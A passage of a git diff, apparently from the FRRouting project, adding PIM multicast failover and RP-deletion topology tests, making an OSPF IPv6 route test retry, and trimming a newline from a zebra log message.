GROUP_ADDRESS_LIST_1, expected=False + ) + assert result is not True, ( + "Testcase {} : Failed \n " + "r3: (S,G) upstream state is joined and join timer is running\n Error: {}".format( + tc_name, result + ) + ) + + step("r3: Verify (S, G) ip mroutes") + oif = "r3-r1-eth0" + result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_1, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (*, G) upstream IIF interface") + dut = "r1" + iif = "r1-r4-eth3" + result = verify_upstream_iif(tgen, dut, iif, STAR, GROUP_ADDRESS_LIST_2) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (*, G) upstream join state and join timer") + result = verify_join_state_and_timer(tgen, dut, iif, STAR, GROUP_ADDRESS_LIST_2) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (*, G) ip mroutes") + oif = "r1-r0-eth0" + result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS_LIST_2, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (S, G) upstream IIF interface") + iif = "r1-r3-eth2" + result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_2) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (S, G) upstream join state and join timer") + result = verify_join_state_and_timer( + tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_2 + ) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (S, G) ip mroutes") + result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_2, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r4: Verify (*, G) upstream IIF interface") + dut = "r4" + iif = "lo" + result = verify_upstream_iif(tgen, dut, iif, STAR, GROUP_ADDRESS_LIST_2) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r4: Verify (*, G) upstream join state and join timer") + result = verify_join_state_and_timer(tgen, dut, iif, STAR, GROUP_ADDRESS_LIST_2) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r4: Verify (*, G) ip mroutes") + oif = "r4-r1-eth0" + result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS_LIST_2, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r4: Verify (S, G) upstream IIF interface") + iif = "r4-r3-eth1" + result = verify_upstream_iif( + tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_2, joinState="NotJoined" + ) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r4: Verify (S, G) upstream join state and join timer") + result = verify_join_state_and_timer( + tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_2, expected=False + ) + assert result is not True, ( + "Testcase {} : Failed \n " + "r4: (S,G) upstream state is joined and join timer is running\n Error: {}".format( + tc_name, result + ) + ) + + step("r4: Verify (S, G) ip mroutes") + oif = "none" + result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_2, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r3: Verify (S, G) upstream IIF interface") + dut = "r3" + iif = "r3-r5-eth3" + result = verify_upstream_iif(tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_2) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r3: Verify (S, G) upstream join state and join timer") + result = verify_join_state_and_timer( + tgen, dut, iif, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_2, expected=False + ) + assert result is not True, ( + "Testcase {} : Failed \n " + "r3: (S,G) upstream state is joined and join timer is running\n Error: {}".format( + tc_name, result + ) + ) + + step("r3: Verify (S, G) ip mroutes") + oif = "r3-r1-eth0" + result = verify_mroutes(tgen, dut, SOURCE_ADDRESS, GROUP_ADDRESS_LIST_2, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + write_test_footer(tc_name) + + +def test_shutdown_primary_path_p1(request): + """ + TC_30_P1: Verify IIF and OIL change to other path after shut the primary + path + + Topology used: + ________r2_____ + | | + iperf | | + r0-----r1-------------r3 + """ + + tgen = get_topogen() + tc_name = request.node.name + write_test_header(tc_name) + + # Don"t run this test if we have any failure. + if tgen.routers_have_failure(): + pytest.skip(tgen.errors) + + step("Creating configuration from JSON") + reset_config_on_routers(tgen) + app_helper.stop_all_hosts() + clear_mroute(tgen) + clear_pim_interface_traffic(tgen, TOPO) + + # Steps to execute + step("Enable IGMP on r1 interface") + step("Configure RP on r2 (loopback interface) for the group range" " 224.0.0.0/4") + step("r1: Shut the link from r1 to r2") + step("r3: Shut the link from r1 to r3") + step("r1: No shut the link from r1 to r2") + step("r3: No shut the link from r1 to r3") + + step("r1: Verify RP info") + dut = "r1" + rp_address = "1.0.2.17" + iif = "r1-r2-eth1" + result = verify_pim_rp_info( + tgen, TOPO, dut, GROUP_RANGE_ALL, iif, rp_address, SOURCE + ) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r0: Send IGMP join") + result = app_helper.run_join("r0", GROUP_ADDRESS, "r1") + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify IGMP groups") + oif = "r1-r0-eth0" + result = verify_igmp_groups(tgen, dut, oif, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (*, G) ip mroutes") + result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r2: Verify (*, G) ip mroutes") + dut = "r2" + iif = "lo" + oif = "r2-r1-eth0" + result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Shut the interface r1-r2-eth1 from R1 to R2") + dut = "r1" + intf = "r1-r2-eth1" + shutdown_bringup_interface(tgen, dut, intf, False) + + step( + "Verify after shut the R1 to R2 link , verify join is reaching to RP" + "via other path" + ) + + logger.info("Waiting for 110 sec only if test run with crucible") + + step("r1: Verify (*, G) ip mroutes") + dut = "r1" + iif = "r1-r3-eth2" + oif = "r1-r0-eth0" + result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r2: Verify (*, G) ip mroutes") + dut = "r2" + iif = "lo" + oif = "r2-r3-eth1" + result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r3: Verify (*, G) ip mroutes") + dut = "r3" + iif = "r3-r2-eth1" + oif = "r3-r1-eth0" + result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r3: Shut the link from R1 to R3 from R3 node") + dut = "r3" + intf = "r3-r1-eth0" + shutdown_bringup_interface(tgen, dut, intf, False) + + step( + "Verify after shut of R1 to R3 link , verify (*,G) entries got" + " cleared from all the node R1, R2, R3" + ) + + step("r1: Verify (*, G) ip mroutes") + dut = "r1" + iif = "r1-r3-eth2" + oif = "r1-r0-eth0" + result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif, expected=False) + assert result is not True, ( + "Testcase {} : Failed \n " + "r1: (*,G) mroutes are not cleared after shut of R1 to R3 link\n Error: {}".format( + tc_name, result + ) + ) + + step("r2: Verify (*, G) ip mroutes") + dut = "r2" + iif = "lo" + oif = "r2-r3-eth1" + result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif, expected=False) + assert result is not True, ( + "Testcase {} : Failed \n " + "r2: (*,G) mroutes are not cleared after shut of R1 to R3 link\n Error: {}".format( + tc_name, result + ) + ) + + step("r3: Verify (*, G) ip mroutes") + dut = "r3" + iif = "r3-r2-eth1" + oif = "r3-r1-eth0" + result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif, expected=False) + assert result is not True, ( + "Testcase {} : Failed \n " + "r3: (*,G) mroutes are not cleared after shut of R1 to R3 link\n Error: {}".format( + tc_name, result + ) + ) + + step("r3: No shutdown the link from R1 to R3 from R3 node") + dut = "r3" + intf = "r3-r1-eth0" + shutdown_bringup_interface(tgen, dut, intf, True) + + step("r1: Verify (*, G) ip mroutes") + dut = "r1" + iif = "r1-r3-eth2" + oif = "r1-r0-eth0" + result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r2: Verify (*, G) ip mroutes") + dut = "r2" + iif = "lo" + oif = "r2-r3-eth1" + result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r3: Verify (*, G) ip mroutes") + dut = "r3" + iif = "r3-r2-eth1" + oif = "r3-r1-eth0" + result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: No shutdown the link from R1 to R2 from R1 node") + dut = "r1" + intf = "r1-r2-eth1" + shutdown_bringup_interface(tgen, dut, intf, True) + + step("r1: Verify (*, G) ip mroutes") + dut = "r1" + iif = "r1-r2-eth1" + oif = "r1-r0-eth0" + result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r2: Verify (*, G) ip mroutes") + dut = "r2" + iif = "lo" + oif = "r2-r1-eth0" + result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + write_test_footer(tc_name) + + +def test_delete_RP_shut_noshut_upstream_interface_p1(request): + """ + TC_31_P1: Verify RP info and (*,G) mroute after deleting the RP and shut / + no shut the RPF interface. + Topology used: + ________r2_____ + | | + iperf | | + r0-----r1-------------r3 + """ + + tgen = get_topogen() + tc_name = request.node.name + write_test_header(tc_name) + + # Don"t run this test if we have any failure. + if tgen.routers_have_failure(): + pytest.skip(tgen.errors) + + step("Creating configuration from JSON") + reset_config_on_routers(tgen) + app_helper.stop_all_hosts() + clear_mroute(tgen) + clear_pim_interface_traffic(tgen, TOPO) + + step("Enable IGMP on r1 interface") + step("Configure RP on r2 (loopback interface) for the group range" " 224.0.0.0/4") + step("r1: Delete the RP config") + step("r1: Shut and no shut the upstream interface (R1-R2) connected link") + step("r1: Shut and no shut the OIL interface") + + step("r1: Verify RP info") + dut = "r1" + rp_address = "1.0.2.17" + iif = "r1-r2-eth1" + result = verify_pim_rp_info( + tgen, TOPO, dut, GROUP_RANGE_ALL, iif, rp_address, SOURCE + ) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r0: Send IGMP join") + result = app_helper.run_join("r0", GROUP_ADDRESS, "r1") + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify IGMP groups") + dut = "r1" + oif = "r1-r0-eth0" + result = verify_igmp_groups(tgen, dut, oif, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (*, G) ip mroutes created") + result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r2: Verify (*, G) ip mroutes created") + dut = "r2" + iif = "lo" + oif = "r2-r1-eth0" + result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Delete RP configuration") + + # Delete RP configuration + input_dict = { + "r1": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.2.17", + "group_addr_range": GROUP_RANGE_ALL, + "delete": True, + } + ] + } + } + } + + result = create_pim_config(tgen, TOPO, input_dict) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Shut the interface r1-r2-eth1 from R1 to R2") + dut = "r1" + intf = "r1-r2-eth1" + shutdown_bringup_interface(tgen, dut, intf, False) + + step("r1: No shutdown the interface r1-r2-eth1 from R1 to R2") + dut = "r1" + intf = "r1-r2-eth1" + shutdown_bringup_interface(tgen, dut, intf, True) + + step("r1: Shutdown the OIL interface r1-r0-eth0 from R1 to R0 ") + dut = "r1" + intf = "r1-r0-eth0" + shutdown_bringup_interface(tgen, dut, intf, False) + + step("r1: No shutdown the OIL interface r1-r0-eth0 from R1 to R0") + dut = "r1" + intf = "r1-r0-eth0" + shutdown_bringup_interface(tgen, dut, intf, True) + + step("r1: Verify (*, G) ip mroutes cleared") + dut = "r1" + iif = "r1-r2-eth1" + oif = "r1-r0-eth0" + result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif, expected=False) + assert result is not True, ( + "Testcase {} : Failed \n " + "r1: (*,G) mroutes are not cleared after shut of R1 to R0 link\n Error: {}".format( + tc_name, result + ) + ) + + step("r2: Verify (*, G) ip mroutes cleared") + dut = "r2" + iif = "lo" + oif = "r2-r1-eth0" + result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif, expected=False) + assert result is not True, ( + "Testcase {} : Failed \n " + "r2: (*,G) mroutes are not cleared after shut of R1 to R0 link\n Error: {}".format( + tc_name, result + ) + ) + + write_test_footer(tc_name) + + +def test_delete_RP_shut_noshut_RP_interface_p1(request): + """ + TC_32_P1: Verify RP info and (*,G) mroute after deleting the RP and shut/ + no shut the RPF interface + + Topology used: + ________r2_____ + | | + iperf | | + r0-----r1-------------r3 + """ + + tgen = get_topogen() + tc_name = request.node.name + write_test_header(tc_name) + + # Don"t run this test if we have any failure. + if tgen.routers_have_failure(): + pytest.skip(tgen.errors) + + step("Creating configuration from JSON") + reset_config_on_routers(tgen) + app_helper.stop_all_hosts() + clear_mroute(tgen) + clear_pim_interface_traffic(tgen, TOPO) + + step("Enable IGMP on r1 interface") + step("Configure RP on r2 (lo) for the group range" " 224.0.0.0/4") + step("r2: Delete the RP configuration") + step("r2: Shut the RP interface (lo)") + step("r1: Shut the interface(r1-r2-eth1, r1-r3-eth2) towards rp") + + step("r1: Verify RP info") + dut = "r1" + rp_address = "1.0.2.17" + iif = "r1-r2-eth1" + result = verify_pim_rp_info( + tgen, TOPO, dut, GROUP_RANGE_ALL, iif, rp_address, SOURCE + ) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r0: Send IGMP join") + result = app_helper.run_join("r0", GROUP_ADDRESS, "r1") + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify IGMP groups") + oif = "r1-r0-eth0" + result = verify_igmp_groups(tgen, dut, oif, GROUP_ADDRESS) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r1: Verify (*, G) ip mroutes created") + result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r2: Verify (*, G) ip mroutes created") + dut = "r2" + iif = "lo" + oif = "r2-r1-eth0" + result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r2: Delete RP configuration") + + # Delete RP configuration + input_dict = { + "r2": { + "pim": { + "rp": [ + { + "rp_addr": "1.0.2.17", + "group_addr_range": GROUP_RANGE_ALL, + "delete": True, + } + ] + } + } + } + + result = create_pim_config(tgen, TOPO, input_dict) + assert result is True, "Testcase {} :Failed \n Error: {}".format(tc_name, result) + + step("r2: Shut the RP interface lo") + dut = "r2" + intf = "lo" + shutdown_bringup_interface(tgen, dut, intf, False) + + step("r1: Shut the interface r1-r2-eth1 towards RP") + dut = "r1" + intf = "r1-r2-eth1" + shutdown_bringup_interface(tgen, dut, intf, False) + + step("r1: Shut the interface r1-r3-eth2 towards RP") + dut = "r1" + intf = "r1-r3-eth2" + shutdown_bringup_interface(tgen, dut, intf, False) + + step("r1: Verify (*, G) ip mroutes cleared") + dut = "r1" + iif = "r1-r2-eth1" + oif = "r1-r0-eth0" + result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif, expected=False) + assert result is not True, ( + "Testcase {} : Failed \n " + "r1: (*,G) mroutes are not cleared after shut of R1 to R2 and R3 link\n Error: {}".format( + tc_name, result + ) + ) + + step("r2: Verify (*, G) ip mroutes cleared") + dut = "r2" + iif = "lo" + oif = "r2-r1-eth0" + result = verify_mroutes(tgen, dut, STAR, GROUP_ADDRESS, iif, oif, expected=False) + assert result is not True, ( + "Testcase {} : Failed \n " + "r2: (*,G) mroutes are not cleared after shut of R1 to R2 and R3 link\n Error: {}".format( + tc_name, result + ) + ) + + write_test_footer(tc_name) + + +if __name__ == "__main__": + ARGS = ["-s"] + sys.argv[1:] + sys.exit(pytest.main(ARGS)) diff --git a/tests/topotests/ospf_topo1/test_ospf_topo1.py b/tests/topotests/ospf_topo1/test_ospf_topo1.py index e2a6ff64a4..37facfc5da 100644 --- a/tests/topotests/ospf_topo1/test_ospf_topo1.py +++ b/tests/topotests/ospf_topo1/test_ospf_topo1.py @@ -316,17 +316,26 @@ def test_ospf6_kernel_route(): for router in rlist: logger.info('Checking OSPF IPv6 kernel routes in "%s"', router.name) - routes = topotest.ip6_route(router) - expected = { - "2001:db8:1::/64": {}, - "2001:db8:2::/64": {}, - "2001:db8:3::/64": {}, - "2001:db8:100::/64": {}, - "2001:db8:200::/64": {}, - "2001:db8:300::/64": {}, - } + def _routes_in_fib6(): + routes = topotest.ip6_route(router) + expected = { + "2001:db8:1::/64": {}, + "2001:db8:2::/64": {}, + "2001:db8:3::/64": {}, + "2001:db8:100::/64": {}, + "2001:db8:200::/64": {}, + "2001:db8:300::/64": {}, + } + logger.info("Routes:") + logger.info(routes) + logger.info(topotest.json_cmp(routes, expected)) + logger.info("ENd:") + return topotest.json_cmp(routes, expected) + + _, result = topotest.run_and_expect(_routes_in_fib6, None, count=20, wait=1) + assertmsg = 'OSPF IPv6 route mismatch in router "{}"'.format(router.name) - assert topotest.json_cmp(routes, expected) is None, assertmsg + assert result is None, assertmsg def test_ospf_json(): @@ -337,6 +346,7 @@ def test_ospf_json(): for rnum in range(1, 5): router = tgen.gears["r{}".format(rnum)] + logger.info(router.vtysh_cmd("show ip ospf database")) logger.info('Comparing router "%s" "show ip ospf json" output', router.name) expected = { "routerId": "10.0.255.{}".format(rnum), diff --git a/zebra/if_ioctl.c b/zebra/if_ioctl.c index 4e4ebc9cda..2c83a7ed4c 100644 --- a/zebra/if_ioctl.c +++ b/zebra/if_ioctl.c @@ -199,7 +199,7 @@ static int if_getaddrs(void) ifp = if_lookup_by_name(ifap->ifa_name, VRF_DEFAULT); if (ifp == NULL) { flog_err(EC_LIB_INTERFACE, - "if_getaddrs(): Can't lookup interface %s\n", + "if_getaddrs(): Can't lookup interface %s", ifap->ifa_name); continue; } |
